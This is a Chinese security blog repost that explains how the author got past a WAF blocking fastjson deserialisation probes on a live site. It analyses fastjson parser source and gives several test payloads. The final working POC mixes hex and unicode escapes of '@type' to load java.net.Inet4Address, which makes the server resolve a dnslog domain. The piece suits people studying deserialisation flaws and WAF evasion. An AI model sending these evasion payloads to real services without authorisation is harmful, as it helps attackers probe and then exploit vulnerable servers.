记一次实战中对fastjson waf的绕过

科技   2024-10-17 08:31   湖南  
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

来源:先知社区,作者:1341025112991831

原文:https://xz.aliyun.com/t/15602


现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了


前言

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了

于是开始了绕过之旅,顺便来学习一下如何waf

编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下
parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)parse:152, JSON (com.alibaba.fastjson)parse:143, JSON (com.alibaba.fastjson)main:8, Test


到如下代码

if (ch == '"') {    key = lexer.scanSymbol(this.symbolTable, '"');    lexer.skipWhitespace();    ch = lexer.getCurrent();    if (ch != ':') {        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);    }}


进入scanSymbol方法

方法就是对我们的key进行处理
switch (chLocal) {    case '"':        hash = 31 * hash + 34;        this.putChar('"');        break;    case '#':    case '$':    case '%':    case '&':    case '(':    case ')':    case '*':    case '+':    case ',':    case '-':    case '.':    case '8':    case '9':    case ':':    case ';':    case '<':    case '=':    case '>':    case '?':    case '@':    case 'A':    case 'B':    case 'C':    case 'D':    case 'E':    case 'G':    case 'H':    case 'I':    case 'J':    case 'K':    case 'L':    case 'M':    case 'N':    case 'O':    case 'P':    case 'Q':    case 'R':    case 'S':    case 'T':    case 'U':    case 'V':    case 'W':    case 'X':    case 'Y':    case 'Z':    case '[':    case ']':    case '^':    case '_':    case '`':    case 'a':    case 'c':    case 'd':    case 'e':    case 'g':    case 'h':    case 'i':    case 'j':    case 'k':    case 'l':    case 'm':    case 'o':    case 'p':    case 'q':    case 's':    case 'w':    default:        this.ch = chLocal;        throw new JSONException("unclosed.str.lit");    case '\'':        hash = 31 * hash + 39;        this.putChar('\'');        break;    case '/':        hash = 31 * hash + 47;        this.putChar('/');        break;    case '0':        hash = 31 * hash + chLocal;        this.putChar('\u0000');        break;    case '1':        hash = 31 * hash + chLocal;        this.putChar('\u0001');        break;    case '2':        hash = 31 * hash + chLocal;        this.putChar('\u0002');        break;    case '3':        hash = 31 * hash + chLocal;        this.putChar('\u0003');        break;    case '4':        hash = 31 * hash + chLocal;        this.putChar('\u0004');        break;    case '5':        hash = 31 * hash + chLocal;        this.putChar('\u0005');        break;    case '6':        hash = 31 * hash + chLocal;        this.putChar('\u0006');        break;    case '7':        hash = 31 * hash + chLocal;        this.putChar('\u0007');        break;    case 'F':    case 'f':        hash = 31 * hash + 12;        this.putChar('\f');        break;    case '\\':        hash = 31 * hash + 92;        this.putChar('\\');        break;    case 'b':        hash = 31 * hash + 8;        this.putChar('\b');        break;    case 'n':        hash = 31 * hash + 10;        this.putChar('\n');        break;    case 'r':        hash = 31 * hash + 13;        this.putChar('\r');        break;    case 't':        hash = 31 * hash + 9;        this.putChar('\t');        break;    case 'u':        char c1 = this.next();        char c2 = this.next();        char c3 = this.next();        char c4 = this.next();        int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);        hash = 31 * hash + val;        this.putChar((char)val);        break;    case 'v':        hash = 31 * hash + 11;        this.putChar('\u000b');        break;    case 'x':        char x1 = this.ch = this.next();        x2 = this.ch = this.next();        int x_val = digits[x1] * 16 + digits[x2];        char x_char = (char)x_val;        hash = 31 * hash + x_char;        this.putChar(x_char);}


可以看到有不同的处理,对应的支持unicode和16进制编码,先去试一试

探测一手
"{\"a\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.net.Inet4Address\",\"val\":\"cd4d1c41.log.dnslog.sbs.\"}}"

可惜还是被拦截了,尝试了16进制结果还是一样的


特殊反序列化绕过

因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,                          Map<String, Object> fieldValues, int[] setFlags) {    JSONLexer lexer = parser.lexer; // xxx
final int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask; FieldDeserializer fieldDeserializer; if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) { fieldDeserializer = getFieldDeserializer(key); } else { fieldDeserializer = smartMatch(key, setFlags); }

绕过逻辑是在smartMatch方法

方法如下
public FieldDeserializer smartMatch(String key, int[] setFlags) {    if (key == null) {        return null;    }
FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);
if (fieldDeserializer == null) { long smartKeyHash = TypeUtils.fnv1a_64_lower(key); if (this.smartMatchHashArray == null) { long[] hashArray = new long[sortedFieldDeserializers.length]; for (int i = 0; i < sortedFieldDeserializers.length; i++) { hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name); } Arrays.sort(hashArray); this.smartMatchHashArray = hashArray; }
// smartMatchHashArrayMapping int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash); if (pos < 0 && key.startsWith("is")) { smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2)); pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash); }
if (pos >= 0) { if (smartMatchHashArrayMapping == null) { short[] mapping = new short[smartMatchHashArray.length]; Arrays.fill(mapping, (short) -1); for (int i = 0; i < sortedFieldDeserializers.length; i++) { int p = Arrays.binarySearch(smartMatchHashArray , TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name)); if (p >= 0) { mapping[p] = (short) i; } } smartMatchHashArrayMapping = mapping; }
int deserIndex = smartMatchHashArrayMapping[pos]; if (deserIndex != -1) { if (!isSetFlag(deserIndex, setFlags)) { fieldDeserializer = sortedFieldDeserializers[deserIndex]; } } }
if (fieldDeserializer != null) { FieldInfo fieldInfo = fieldDeserializer.fieldInfo; if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) { return null; } } }

return fieldDeserializer;}

对key处理的逻辑如下
long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {    long hashCode = 0xcbf29ce484222325L;    for (int i = 0; i < key.length(); ++i) {        char ch = key.charAt(i);        if (ch == '_' || ch == '-') {            continue;        }
if (ch >= 'A' && ch <= 'Z') { ch = (char) (ch + 32); }
hashCode ^= ch; hashCode *= 0x100000001b3L; }
return hashCode;}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是
int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {    smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));    pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以


加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在
public final void skipWhitespace() {    for (;;) {        if (ch <= '/') {            if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {                next();                continue;            } else if (ch == '/') {                skipComment();                continue;            } else {                break;            }        } else {            break;        }    }}

匹配到这些特殊字符就忽略

测试一下
import com.alibaba.fastjson.JSON;
public class Test { public static void main(String[] args) { String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}"; JSON.parse(aaa); }}


确实可以,但是环境上去尝试仍然被waf了

双重编码绕过

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码
单独的unicode和16进制都不可以
尝试一下同时呢?
去对@type编码
POC
{\"\\x40\\u0074\\u0079\\u0070\\u0065\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码

关注我们

 还在等什么?赶紧点击下方名片开始学习吧 



知 识 星 球



仅前1-400名: 99¥,400-600名128¥,600-800名: 148¥,800-1000+名168¥所剩不多了...!


推 荐 阅 读





潇湘信安
一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、渗透思路、奇淫技巧与知识总结。
 最新文章